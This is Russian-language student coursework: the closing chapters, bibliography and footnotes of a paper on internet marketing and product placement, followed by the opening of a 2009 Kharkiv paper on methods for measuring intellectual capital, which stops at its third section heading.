5) электронная торговля — прямой маркетинг через двухканальную систему, которая связывает кабельной или телефонной линией потребителей с компьютеризированным каталогом продавца. 25

2.6 Продукт-плейсмент

Product placement уже рассматривается многими зарубежными специалистами как новый жанр в практике маркетинга, PR и рекламы. Общий результат исследования подтверждает, что product placement может сослужить хорошую службу заинтересованному рекламодателю, особенно когда он присутствует в фильме или сериале, положительно воспринимаемом целевой аудиторией. 26

Продукт-плейсмент-рекламный приём, заключающийся в том, что реквизит в фильмах, телевизионных передачах, компьютерных играх, музыкальных клипах или книгах имеет реальный коммерческий аналог. Обычно демонстрируется сам рекламируемый продукт или его логотип, или упоминается о его хорошем качестве.

В России продакт-плейсмент имеет характерную особенность: он редко является скрытой рекламой. Героев фильма или телесериала заставляют произносить слоганы рекламируемого товара, товар или бренд показывается крупным планом. 27

Глава 3. Интернет — маркетинг: новые технологии бизнеса

3.1 Интернет-маркетинг

Интернет-маркетинг — это практика использования всех аспектов рекламы в Интернете для получения отклика от аудитории, которая включает как творческие, так и технические аспекты работы в сети Интернет, в том числе дизайн, разработку, рекламу и маркетинг. 28

Независимо от того, что вы продаете или покупаете, каким бизнесом занимаетесь, е-коммерция предлагает вам почти безграничные возможности. Однако традиционные стратегии маркетинга, такие, как ценообразование и дистрибъюция, управление запасами, рекламирование, продвижение и обслуживание потребителей, при этом сохраняются. Еще несколько лет организации об этом даже не помышляли, а сейчас они применяют интернетовские технологии, чтобы создавать новые направления бизнеса и успешно заниматься торговлей через Паутину. 29

Интернет-маркетинг впервые появился в начале 1990-х годов, когда текстовые сайты начали размещать информацию о товарах. Через некоторое время интернет-маркетинг перерос в нечто большее, чем продажа информационных продуктов. Этот тип маркетинга стал основой современного капитализма, которая позволяет любому, у кого есть идея, товар или услуга достичь максимально широкой аудитории. 30

3.2 Интернет и всемирная паутина

В России по данным на 2008 год число пользователей интернета достигло почти 33 миллионов человек. Фонд «Общественное мнение» обнародовал результаты очередного исследования, в ходе которого изучалась динамика роста численности аудитории интернета в России. Согласно представленным данным, по состоянию на конец весны интернетом в Российской Федерации пользовались 29% жителей, что эквивалентно 32,7 миллиона человек. Для сравнения, годом ранее численность аудитории Всемирной сети в нашей стране составляла 28,7 миллиона пользователей (25% населения). Число активных пользователей Сети, то есть, тех, кто выходит в интернет ежедневно, весной этого года составляло 15,7 миллиона человек (48% от общей численности интернет-аудитории в России или 14% населения страны). Наибольшее число российских интернет-пользователей проживают в Центральном регионе — 11,3 миллиона человек. Второе и третье места по численности сетевой аудитории занимают Приволжский и Северо-западный регионы с показателями в 6,2 миллиона и 4,0 миллиона человек, соответственно. 31

Главные качества Сети с точки зрения маркетинга:

1) Привлекает дополнительных потребителей. Между поставщиком и покупателем — пространство и время. Они могут стать преградой на пути товара к отдельному потребителю;

2) Укрепляет отношения с клиентами;

3) Позволяет подробно информировать о фирме и ее товарах;

4) Помогает изучать рынок. Хорошо организованный сайт экономит часть денег на исследования;

5) Помогает сегментировать рынок. Можно сгруппировать клиентов по различным признакам, разбить на сегменты и начать работать с каждым по-своему;

6) Подсказывает новые идеи. Успех сегодня определяется способностью мгновенно реагировать на изменения рыночных потребностей, и Сеть является их самым быстрым проводником;

7) Продает с помощью электронной торговли. Иные компании с ее помощью увеличивают продажи на 10-20%;

8) Вызывает потребность научиться маркетингу. 32

Хотя наиболее персонализированным типом продаж считается личное общение покупателя с продавцом, на самом деле со времен изобретения телефона оно часто осуществляется в электронном виде, но реально золотой век интерактивности начался всего несколько десятилетий назад. Его корни уходят в годы создания Интернета (Сети), глобального набора компьютерных сетей, связанных друг с другом для обмена данными и информацией. Первоначально Сеть использовалась только учеными и исследователями из правительственных структур, но с тех пор она трансформировалась в многогранную и очень популярную коммуникационную среду, которой пользуются как отдельные домашние хозяйства, так и виды бизнеса. 33

В середине 1990-х, когда Тим Бернес ли из Европейского центра ядерных исследований в Женеве, Швейцария, разработал Всемирную паутину. Первоначально задумываемая как система управления внутренним документооборотом, Паутина быстро развивалась и уже через какое то время стала комбинацией десятков тысяч связанных друг с другом компьютеров, называемых веб-серверами, которые функционируют совместно в границах Интернета. 34

3.3 Функции интернета и их роль в современном маркетинге

Можно выделить четыре основных функции Интернета: коммуникация, информация, развлечения и е-коммерция. Рассмотрим роль каждой из них в современном маркетинге.

1. Коммуникация. (Электронная почта, Мгновенные сообщения, Чаты, Онлайновые сообщества)

Для ведения как домашнего хозяйства, так и видов бизнеса одним из наиболее, популярных приложений Интернета в США является электронная почта. Более поздней версией электронной почты стали мгновенные сообщения. Другими популярными способами общения являются чаты и доски объявлений. Они выступают в качестве форумов, через который группа людей может обмениваться информацией.

2. Информация. (Поисковые устройства, Онлайновые публикации, Новостные группы, Порталы)

Для многих пользователей получение информации — одна из основных причин, которым они выходят в онлайн.

3. Развлечения. (Игры, Программирование радио — и телевизионных передач, Музыка, Электронные книги, Короткие фильмы).

Онлайновые провайдеры развлечений могут предлагать самые разные услуги по разумным ценам и с приемлемыми скоростями обслуживания. В онлайне доступны игры, радиопрограммы, короткие кинофильмы и музыкальные клипы, предлагаемые пользователям и бесплатно, так как в этом случае издержки покрываются рекламодателями, размещающими свои материалы на веб-сайте.

4. Е-коммерция. (Электронные сделки, Сделки через экстранет и сети частных бирж, Электронные витрины, Онлайновый заказ билетов, Аукционы)

Сегодня е-коммерция — основная функция Паутины. Почти каждая организация — от мультинациональных корпораций до индивидуальных предпринимательских структур, от продавцов товара до провайдеров услуг — так или иначе пользуется возможностями Паутины. 35

3.4 Потребительский маркетинг

Факторы, способствующие росту онлайновых покупок: Более низкие цены, удобство, персонификация. Сегодня основное внимание обращено к варианту маркетинга категории «один на один», позволяющему добиться лояльности потребителей, которые благодаря этому скорее всего совершат и повторные покупки.

Преимущества:

1) Формирование взаимоотношений. Важным компонентом при формировании онлайновых взаимоотношений является персонификация. Небольшие виды бизнеса даже с ограниченными бюджетами могут использовать Интернет для поиска своих потребителей, причем часто в самых неожиданных местах, и для формирования отношений с ними. Ключом к формированию прочных взаимоотношений с потребителями является обслуживание потребителей.

2) Повышенная эффективность. Даже если продажа и не совершается в онлайне, маркетологи, поработавшие с потребителями в онлайне по каким-то продуктам, в конечном счете экономят деньги, так как продавцам в обычных магазинах больше не нужно затрачивать время, отвечая на интересующие людей вопросы.

3) Сокращение издержек. Маркетологи установили, что е-коммерция может существенно сократить издержки, связанные с созданием нового бизнеса и его ведением. 36

Интернет-маркетинг в первую очередь предоставляет потребителю возможность получить информацию о товарах. Любой потенциальный потребитель может, используя интернет, получить информацию о товаре, а также купить его. Хотя, если там не будет информации о Вашем товаре, или он её не найдёт, то, скорее всего он приобретёт товар у вашего конкурента.

Кроме того, компании, использующие интернет-маркетинг, экономят деньги как на персонале, который занимается продажами, так и на рекламе. А главное, что интернет-маркетинг позволяет расширить деятельность компании с локального рынка на национальный и международный рынок.

В сравнении с другими видами медиамаркетинга (печатными, радио и телевидением), интернет-маркетинг растет очень быстро. Он завоёвывает все большую популярность не только у бизнеса, но и обычных пользователей, которые хотят продвинуть свой веб-сайт или блог и заработать на нем. 37

Ограничения:

1) Ограничения в Интернет-маркетинге создают проблемы как для компаний, так и для потребителей. Если у потребителя медленное Интернет-соединение, это приводит к затруднению в использовании в рекламе анимированных роликов, презентационных фильмов и высококачественной графики, хотя, в принципе, проблема со скоростью — это вопрос времени, с каждым днем «медленных» пользователей становится все меньше.

2) Следующее неудобство состоит в том, что Интернет-маркетинг не дает возможность потребителю опробовать товар до того, как сделать покупку. Германия, например, приняла в 2000 году закон, по которому любой покупатель может вернуть товар, купленный через интернет без всяких объяснений и получить полный возврат денег. Это одна из основных причин, почему в Германии так развита интернет-торговля.

3) Ещё один тормозящий фактор — это ограниченность платёжных методов, которым доверяют потребители.

3.5 Интернет-маркетинг и влияние на бизнес

Интернет-маркетинг оказал огромное влияние на ряд деловых сфер, включая музыкальную индустрию, банковское дело, рынок портативных электронных устройств (мобильные телефоны, плееры и т.д.), так называемый «блошиный рынок» и главное — на рекламу.

Эффект на рекламную индустрию был и остается поистине огромным. В течение всего нескольких лет объем онлайн-рекламы стремительно вырос и достиг десятков миллиардов долларов в год. Рекламодатели начали активно менять свои предпочтения и сегодня Интернет-реклама уже занимает большую рыночную нишу, чем реклама на радио (в развитых странах). На сегодняшний день сложно найти крупное индустриальное предприятие, которое не продвигает себя в сети. 38

3.6. Другие интерактивные связи маркетинга

В настоящее время маркетологи для выхода на целевые маркетинговые сегменты пользуются широким ассортиментом хайтековских интерактивных инструментов. К числу звеньев, связывающих покупателя и продавца, относятся интерактивные киоски, смарт-карты и индивидуальные купоны и образцы. Веб-киоски — это установленные для бесплатного использования компьютеры, часто размещаемые в демонстрационных залах розничных магазинов или торговых центров. Другая инновация в области е-коммерции — смарт-карты: пластиковые карты, похожие на кредитные, в которые встраиваются компьютерные чипы, хранящие индивидуальную и финансовую информацию. Чтобы купить какой-то товар, такая карта вставляется в специальный сканер или считывающее устройство, которое снимает с нее сумму, равную цене продукта. Смарт-карты стали первым шагом к созданию электронной валюты, системы оплаты, при которой потребитель может открывать счета на веб-сайтах и перечислять деньги на эти счета. 39

Заключение

Для всех видов товаров расширение и укрепление взаимоотношений с покупателями благодаря маркетингу взаимодействия может стать успешным и эффективным способом осуществления предпринимательской деятельности.

Развитие новых технологий и скорость реализации на их основе принципиально новых видов продукции и услуг приводит к тому, что потребности потребителей и ситуация на рынке меняются со всё возрастающей скоростью. Потребитель диктует, что, когда и в каком виде он хочет получить и по какой цене.

Маркетинг расширяет свои функции, т.е. наряду с функциями исследования, планирования, стимулирования сбыта и распределения, появляется функция взаимодействия с покупателем. Такое взаимодействие, долгосрочные взаимоотношения с клиентом обходятся намного дешевле, чем маркетинговые расходы, необходимые для усиления интереса к товару (услуге) фирмы у нового клиента.

Если раньше конкуренция заключалась в основном в соревновании по цене и качеству, в новых условиях — это конкуренция по скорости изменения продуктов и услуг. В этой связи, технология становится основной ведущей силой, и определяет развитие бизнеса.

Е-коммерция предлагает бесконечное разнообразие вариантов, пользуясь которыми маркетологи могут выходить на потребителей. Этот резкий отход от традиционных операций предоставляет современным маркетологам ряд преимуществ.:

1) Глобальный доступ. Паутина устраняет географические преграды для местных видов бизнеса;

2) Маркетинг категории «один на один» (персонификация);

3) Интерактивный маркетинг. Потребители и поставщики обговаривают цены. Результатом становится создание индивидуального продукта, продаваемого по цене, устраивающей обе стороны;

4) маркетинг в режиме удобного времени;

5) Интегрирующий маркетинг. Интернет позволяет координировать все стимулирующие воздействия и коммуникации, в результате создавая универсальное и ориентированное на потребителей стимулирующее сообщение.

Список используемых источников и литературы

Сборники, учебники и учебные пособия

1. БабиевГ.Л., Тарасевич В. М., Анн Х. Маркетинг: Учебник для вузов.3-е изд. / Под общ. Ред. Г.Л. Бабиева. — СПб.: Питер, 2007. — 736С.

2. Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер. с англ. (В.Н. Егорова). — 11-е изд., перераб. и доп. — М.: ЮНИТИ-ДАНА, 2005. — 1039С.

3. Перлов В.И. Маркетинг на предприятии отрасли печати: Учебное пособие для вузов. — М.: МГУП, 2000. — 284С.

4. Сейфуллаева М.Э., Симагина С.Г., Соскин Я.Г. и др. Маркетинг: Учебное пособие. — М.: ЮНИТИ-ДАНА, 2005. — 255С.

5. Синяева И.М., Маслова В.М., Синяев В.В. Сфера PR в маркетинге: Учебное пособие. — М.: ЮНИТИ-ДАНА, 2007. — 383С.

6. Терещенко В.М. Маркетинг: новые технологии в России. — СПб: Питер, 2001. — 416С.

7. Эриашвили Н.Д., Ховард К., Цыпкин Ю.А. и др. / Маркетинг: Учебник для вузов. — М.: ЮНИТИ-ДАНА, 2005. — 631С.

Статьи в научных сборниках и периодической печати

8. Адлер Ю.П., Аронов И.З., Шпер В.Л. Что век грядущий нам готовит? Менеджмент XXI века — краткий обзор основных тенденций. // Стандарты и качество. 1999. № 3.

9. Васильев С. Современные технологии маркетинга. // Уральский инвестор. 2005. №5 (5).

3. Ссылки на ресурсы, полученные в сети Интернет

10. Большая советская энциклопедия (см.: http://bse. scilib.com/article096325.html).

11. Опросы «Интернет в России / Россия в Интернете» (см.: http://bd. fom.ru/report/cat/smi/smi_int/int0802).

12. Продукт плейсмент (см.: http://md-promotion.ru/promotion/pp.html).

11. Реклама (см.: http://proreclamu.ru/)

14. Свободная общедоступная многоязычная универсальная энциклопедия Википедия (см.: http://ru. wikipedia.org/wiki).

1 Сейфуллаева М.Э., Симагина С.Г., Соскин Я.Г.и др. Маркетинг: Учебное пособие. -М.: ЮНИТИ-ДАНА , 2005.-С.8.

2 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С. 47-58.

3 Адлер Ю.П., Аронов И.З., Шпер В.Л. Что век грядущий нам готовит? Менеджмент XXI века – краткий обзор основных тенденций. // Стандарты и качество. – 1999. – № 3.

4 Васильев С. Современные технологии маркетинга. // Уральский инвестор. 2005. №5(5).

5 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С. 482.

6 Эриашвили Н.Д., Ховард К., Цыпкин Ю.А.и др. Маркетинг: Учебник для вузов.-М.: ЮНИТИ-ДАНА, 2005.С. 245.

7 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С. 484.

8 Там же. С.491-492.

9 Там же С.506.

10 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.510-511.

11 Большая советская энциклопедия (см.: http://bse.scilib.com/article096325.html).

12 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.511-512.

13 Реклама (см.: http://proreclamu.ru/).

14 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.551.

15 Бабиев Г.Л., Тарасевич В.М. ,Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.516.

16 Перлов В.И. Маркетинг на предприятии отрасли печати: Учебное пособие для вузов .-М:МГУП, 2000. С.241

17 Сейфуллаева М.Э., Симагина С.Г., Соскин Я.Г.и др. Маркетинг: Учебное пособие.- М:ЮНИТИ-ДАНА, 2005. С. 130-131.

18 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.551.

19 Терещенко В.М. Маркетинг: новые технологии в России.- СПб: Питер, 2001.С.307-308.

20 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.519.

21 Там же. С. 551.

22 Синяева И.М., Маслова В.М., Синяев В.В. Сфера PR в маркетинге: Учебное пособие .- М: ЮНИТИ-ДАНА, 2007.С. 6, 10-11.

23 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. ред. Г.Л. Бабиева.- СПб.: Питер, 2007.С. 551.

24 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.524-525.

25 Бабиев Г.Л., Тарасевич В.М., Анн Х. Маркетинг: Учебник для вузов. 3-е изд./ Под общ. Ред. Г.Л.Бабиева.- СПб.: Питер, 2007.С.527-528.

26 Продукт плейсмент (http://md-promotion.ru/promotion/pp.html)

27 Свободная общедоступная многоязычная универсальная энциклопедия Википедия (см.: http://ru.wikipedia.org/wiki/Продакт-плейсмент)

28 Универсальная энциклопедия Википедия (см.: http://ru.wikipedia.org/wiki/Интернет-маркетинг).

29 Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер.с англ.(В.Н.Егорова).- 11-е изд., перераб. и доп.- М.: ЮНИТИ-ДАНА,2005. С.212.

30 Универсальная энциклопедия Википедия (см.: http://ru.wikipedia.org/wiki/Интернет-маркетинг).

31 «Интернет в России / Россия в Интернете» ( см.: http://bd.fom.ru/report/cat/smi/smi_int/int0802).

32 Терещенко В.М. Маркетинг: новые технологии в России.- СПб: Питер, 2001. С.280-281.

33 Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер.с англ.(В.Н.Егорова).- 11-е изд., перераб. и доп.- М.: ЮНИТИ-ДАНА,2005.С.214-215.

34 Там же. С. 216-217.

35 Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер.с англ.(В.Н.Егорова).- 11-е изд., перераб. и доп.- М.: ЮНИТИ-ДАНА,2005.С.218-221.

36 Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер.с англ.(В.Н.Егорова).- 11-е изд., перераб. и доп.- М.: ЮНИТИ-ДАНА,2005.С.232-234.

37 Универсальная энциклопедия Википедия ( см.: http://ru.wikipedia.org/wiki/Интернет-маркетинг).

38 Универсальная энциклопедия Википедия ( см.: http://ru.wikipedia.org/wiki/Интернет-маркетинг).

39 Бун Л., Куртц Д. Современный маркетинг: учеб. для студентов вузов; пер.с англ.(В.Н.Егорова).- 11-е изд., перераб. и доп.- М.: ЮНИТИ-ДАНА,2005.С.248-249.

Курсовая работа: Методы прямого измерения интеллектуального капитала

МИНИСТЕРСВО ОБРАЗОВАНИЯ И НАУКИ УКРАИНЫ

НАЦИОНАЛЬНЫЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ

«ХАРЬКОВСКИЙ ПОЛИТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ»

Кафедра организации производства и управления персоналом

КУРСОВАЯ РАБОТА

по дисциплине «Ценообразование на объекты интеллектуальной собственности»

на тему: «Методы прямого измерения интеллектуального капитала»

Выполнил:

студент группы ЭК-24а

Реуцкий В.С.

Проверила:

Бездетко Н.А.

Харьков 2009

Содержание

Введение

1. Понятие и структура интеллектуального капитала

2. Методы измерения и оценки интеллектуального капитала

3. Прямые методы оценки интеллектуального капитала

4. Метод прямой капитализации — DCM

Заключение

Список использованных источников

Введение

Идея выделения интеллектуального капитала предприятия как ключевого элемента его деятельности встречает, как и всякое новое направление, различные препятствия на пути своего развития. Одной из проблем является сложность учета и оценки стоимости интеллектуального капитала, а также неопределенность целей и задач подобных оценок. Многие элементы совокупного капитала организаций вообще не находят отражения в бухгалтерских балансах, в том числе такие составляющие, как связи с потребителями, квалификация персонала, базы знаний, сетевые формы работы.

Вполне естественно, что сущность интеллектуального капитала неизбежно оказывает влияние на методику его оценки. В основе своей, интеллектуальный капитал есть знание, актуализируемое его носителем — работником организации. Как сказал один из основоположников изучения интеллектуального капитала Т. Стюарт: «интеллектуальный капитал — это накопленные полезные знания». Таким образом, очевиден нематериальный характер интеллектуального капитала.

Анализируя опубликованные отчеты об ИК, методические материалы и журнальные публикации, можно сделать вывод, что в большинстве случаев авторы отчетов об ИК стараются создать благоприятный образ компании. Иначе говоря, их цель — PR, а отнюдь не точное определение стоимости компании. В целом объем публикаций на тему ИК быстро возрастает, причем научные публикации на эту тему идут в потоке публикаций популярного характера. У нас в России эти публикации пока воспринимаются без опоры на собственный опыт, устоявшиеся понятия и сложившиеся научные школы. Полный и очень трезвый обзор методов измерения интеллектуального капитала представлен Карлом-Эриком Свейби. Свейби выделяет 25 методов измерения интеллектуального капитала, сгруппированных в 4 категории.

1. Понятие и структура интеллектуального капитала

За достаточно общим понятием интеллектуального капитала стоит сумма знаний всех работников компании, которая обеспечивает ей конкурентоспособность. Получение разного рода технологических и организационных преимуществ над конкурентами является основной функцией интеллектуального капитала.

Очевидно, что интеллектуальный капитал это не набор отдельно взятых элементов, а достаточно сложная и подверженная внешним влияниям система множества взаимосвязанных факторов. Их взаимное влияние дает синергетический эффект, т.е. они могут увеличить, но могут и нивелировать друг друга. Интеллектуальный капитал не может быть оценен путем простого суммирования составляющих его элементов т.к сама по себе оценка отдельных элементов является проблемой, а наличие указанного синергетического эффекта еще больше осложняет расчеты.

В общем виде (рис.1) структуру интеллектуального капитала можно вывести из совокупности всего двух элементов: человеческого капитала (т.е. «продуктивных» активов, по сути — создающих или способных создать все остальные элементы структуры) и интеллектуальной собственности.

Методы прямого измерения интеллектуального капитала

Рис.1. Структура интеллектуального капитала [19].

Было бы неверно говорить о простом разделении на людей и собственность. Взаимодействуя между собой и оперируя имеющимися знаниями люди, в конечном счете, формируют третью составляющую — рыночные активы организации — всё то, что способствует формированию положительного образа и привлечению потребителей. Этот элемент интересен тем, что не имеет четких принципов формирования, и является результатом взаимодействия первых двух элементов.

При этом следует учесть тот факт, что все элементы интеллектуального капитала имеют еще и внутреннюю структуру, эффективность (а, следовательно, и стоимость) которой также не поддается оценке на основе суммы отдельных элементов. К примеру, совокупность работников компании формирует такое явление, как организационная культура, которая может влиять на отдельных сотрудников и на организацию в целом различным образом [21].

Как результат: нет очевидной методики оценки совокупного интеллектуального капитала организации, хотя базовые его элементы, в принципе, оценке поддаются (так работники организации как базовый элемент человеческих активов оценены через оплату труда, что же до интеллектуальной собственности, то «можно рукопись продать», хотя здесь уже и возникают сложности с ценообразованием).

Методы прямого измерения интеллектуального капиталаС точки зрения оценки можно выделить следующие свойства интеллектуального капитала:

Рис.2. Свойства интеллектуального капитала [19].

2. Методы измерения и оценки интеллектуального капитала

Наиболее полно свойства интеллектуального капитала раскрываются при оценке совокупного интеллектуального капитала, поскольку в этом случае очевидно наличие множества взаимосвязей между элементами, которые увеличивают непредсказуемость системы в целом.

Может показаться очевидным, что стоимость интеллектуального капитала равна рыночной стоимости предприятия за вычетом активов материальных. Однако здесь возникает вопрос о правомерности однозначной оценки, которая, в принципе, весьма зависима от методов, используемых для её получения. Поэтому не удивительно, что существует уже 25 методов оценки интеллектуального капитала, которые можно сгруппировать в 4 категории (см. рис. 3).

Методы прямого измерения интеллектуального капитала

Рис.3. Методы оценки стоимости интеллектуального капитала [15]

Методы первой группы — методы прямого измерения (Direct Intellectual Capital methods — DIC) основываются на идентификации и оценке в денежных величинах отдельных активов или компонентов интеллектуального капитала, после чего выводится интегральная оценка. Недостаток данных методов исходит из эмерджентности интеллектуальных активов: если, условно говоря, оценив две единицы некоего оборудования, мы имеем представление о том, как они могут взаимодействовать, то взаимодействие отдельных, пусть и замечательных самих по себе идей вовсе не наверняка даст положительный совокупный эффект [19].

«Неудобный» момент нахождения интегральной стоимости совокупного интеллектуального капитала можно обойти, рассчитав их стоимость сразу, без разбора по частям. На этом принципе основаны методы рыночной капитализации (Market Capitalization Methods — MCM). В этом случае вычисляется разность между рыночной капитализацией компании и собственным капиталом ее акционеров, а полученная величина рассматривается как стоимость ее интеллектуального капитала или нематериальных активов. При всем своем удобстве данный подход показывает не собственную стоимость интеллектуальных ресурсов организации, а то, сколько за них готовы доплатить потенциальные потребители. Вместе с тем, по мере возрастания роли интеллектуальных ресурсов от подобной точки зрения, судя по всему, придется отойти.

Более близко с собственной стоимости интеллектуального капитала подходят методы отдачи на активы (Return on Assets methods — ROA). Отношение среднего дохода компании до вычета налогов за некоторый период к материальным активам компании сравнивается с аналогичным показателем для отрасли в целом. Чтобы вычислить средний дополнительный доход от использования интеллектуального капитала, полученную разность умножают на материальные активы компании. Далее путем прямой капитализации или дисконтирования получаемого денежного потока можно определить стоимость всех интеллектуальных ресурсов компании.

Также для оценки используются методы, не предполагающие получения стоимостных результатов — т. н. методы подсчета очков (Scorecard Methods — SC). При их применении идентифицируются различные компоненты нематериальных активов или интеллектуального капитала, генерируются и докладываются индикаторы и индексы в виде подсчета очков.

С позиции оценки стоимости совокупного интеллектуального капитала, наиболее приемлемы MCM — и ROA-методы, которые в какой-то мере дополняют друг друга: MCM-методы показывают, сколько потенциальный покупатель готов заплатить, а ROA-методы затрагивают собственную стоимость интеллектуального капитала. Эти методы полезны в случаях купли-продажи бизнеса. Они могут использоваться для сравнения компаний в пределах одной отрасли и иллюстрации финансовой стоимости нематериальных активов.

Их недостаток в том, что они бесполезны для некоммерческих организаций, внутренних отделов и организаций общественного сектора. Это особенно верно для MCM методов, которые могут применяться только к публичным компаниям [15].

С этой точки зрения преимущества DIC и SC методов в том, что они применены в любых организационных условиях, а результат может быть более точным, чем чисто финансовые измерения.

Краткое описание основных из существующих методов измерения и оценки интеллектуального капитала приведено в таблице 1.

Таблица 1 — Методы измерения и оценки интеллектуального капитала [21]

Метод/ подход

Идея/ содержание
Метод рыночной капитализации

ИК равен разнице между рыночной ценой компании и балансовой стоимостью ее материальных активов
Коэффициент Тобина

Отношение рыночной стоимости объекта к стоимости его замены
Доходность нематериальных активов

(Фактическая среднегодовая прибыль компании за последние 3 года минус (стоимость ее основных фондов, умноженная на среднеотраслевую рентабельность основных фондов)) разделить на коэффициент, отражающий цену капитала для компании
MAGIC

Выделение человеческого капитала, организационного капитала, рыночного капитала и инновационного капитала
Монитор ИК К.Э. Свейби

Нематериальные ресурсы оцениваются по системе индикаторов, упорядоченных в матрице, где по одной оси выделяются компетенции персонала, внутренние структурные характеристики организации и клиенты, а по другой оси — рост (обновление), эффективность и стабильность
Навигатор Скандиа

Выделяется 30 ключевых индикаторов. В дополнение к традиционным финансовым показателям они включают клиентское направление, направление процессов, человеческое направление и направления развития/обновления. Индикаторы клиентского направления включают: количество счетов, количество брокеров (Скандиа — финансовая компания) и количество потерянных клиентов. Индикаторы направления процессов включают: количество счетов на одного сотрудника и административные затраты на сотрудника. Индикаторы человеческого направления включают: текучесть кадров, доля менеджеров, доля женщин — менеджеров и затраты на образование на одного работника. Индикаторы процесса развития/ бновления: степень удовлетворенности сотрудников, маркетинговые затраты на клиента, доля времени, потраченного на образование.
Продолжение табл.1
Метод/ подход

Идея/ содержание
Брокер технологий (БТ)

Методика БТ состоит из 20 аудиторских вопросов. Чем меньше вопросов, на которые компания может ответить положительно, тем сильнее ей необходимо сфокусироваться на усилении ИК
Невидимый баланс (Konrad Group)

ИК делится на индивидуальный капитал и структурный капитал. Индикаторы индивидуального капитала: профессиональные навыки и мастерство ключевых сотрудников, а также образование, опыт, количество сотрудников на важных процессах и т.п. Структурный капитал может быть представлен конкурентными преимуществами компании, такими как репутация, опыт и специфические продукты, услуги или производственные методы.
Сбалансированная система показателей Нортона и Кэплэна

Выделяется 4 блока показателей: финансовые (повышение стоимости предприятия для собственников, рост сбыта, производительность капитала); клиентские (предложение ценности для клиентов — цена, качество, время, функциональность, сервис, связи с клиентами, марка); внутренних процессов (инновационные процессы как наращивание рыночной власти, процессы управления клиентами с целью повышения ценности для клиентов, оперативные процессы — достижение операционального превосходства, процессы, связанные с регулированием и средой — формирование ответственной гражданской позиции); обучения.
Экономическая добавленная стоимость (Stern Stewart and Co)

Показатель, включающий переменные капитального бюджетирования, финансового планирования, постановки целей, измерения деятельности, взаимодействия с акционерами, материального стимулирования. Недостатком метода является его сложность (ЭДС состоит из 164 характеристик)
Методика консалтинговой фирмы Ernst & Young «Measures that Matter»

ИК оценивается по 8 факторам: качество менеджмента; результативность совершенствования продуктов; сила маркетинговой позиции; корпоративная культура; политика оплаты труда в отношении высшего менеджмента; качество коммуникаций с инвесторами; качество продуктов и услуг; удовлетворение потребностей клиентов. Эти факторы, в свою очередь, развертываются в 39 более детальных показателей
Модель Б. Лева «Value Chain Blueprint»

Концентрируется на способности предприятия к инновациям. Выделяется девять групп показателей: внутренняя способность к обновлению (исследования, развитие персонала, организационные процессы); накопленные, приобретенные способности (закупленные технологии, инвестиционная деятельность); деловая сеть (альянсы, совместные предприятия, интеграция клиентов и поставщиков); интеллектуальная собственность; технологическая реализуемость инноваций (клинические тесты, разрешения, прототипы); деятельность в Интернет (трафик на сайте, заказы онлайн, альянсы в Интернет); клиенты (маркетинговые альянсы, стоимость брэнда, ценность клиентов, отток клиентов); эффективность (сбыт, прибыль, доля рынка, доля новых продуктов, продажа лицензий); перспективы роста (сроки вывода новых продуктов на рынок, предполагаемый рост результатов, запланированные инициативы и т.д.)
Индекс интеллектуального капитала (ИК-индекс)

ИК-индекс — методика «второго поколения», нацеленная на построение всеобъемлющей картины создания стоимости в компании. ИК — индекс пытается объединить несколько различных индикаторов в один индекс, и связать перемены в ИК с переменами на рынке. Подход объединяет стратегию, нефинансовые характеристики, финансы и добавленную стоимость. Отличительные черты ИК-индекса: индиосинкратические измерения, фокусировка на мониторинге динамики ИК, общий обзор компании, отличный от анализа физических активов.

Преимущества этих методов в том, что они применены на любом уровне организации. Они работают ближе к событию, поэтому получаемое сообщение может быть более точным, чем чисто финансовые измерения. Они очень полезны для некоммерческих организаций, внутренних отделов и организаций общественного сектора и для экологических и социальных целей. Их недостатки в том, что индикаторы являются контекстными и должны быть настроены для каждой организации и каждой цели, которая делает сравнения очень трудными. Кроме того, эти методы новы и не легко принимаются обществом и менеджерами, которые привыкли рассматривать все с чистой финансовой точки зрения. А комплексные подходы порождают большие массивы данных, которые трудно анализировать и связывать.

3. Прямые методы оценки интеллектуального капитала

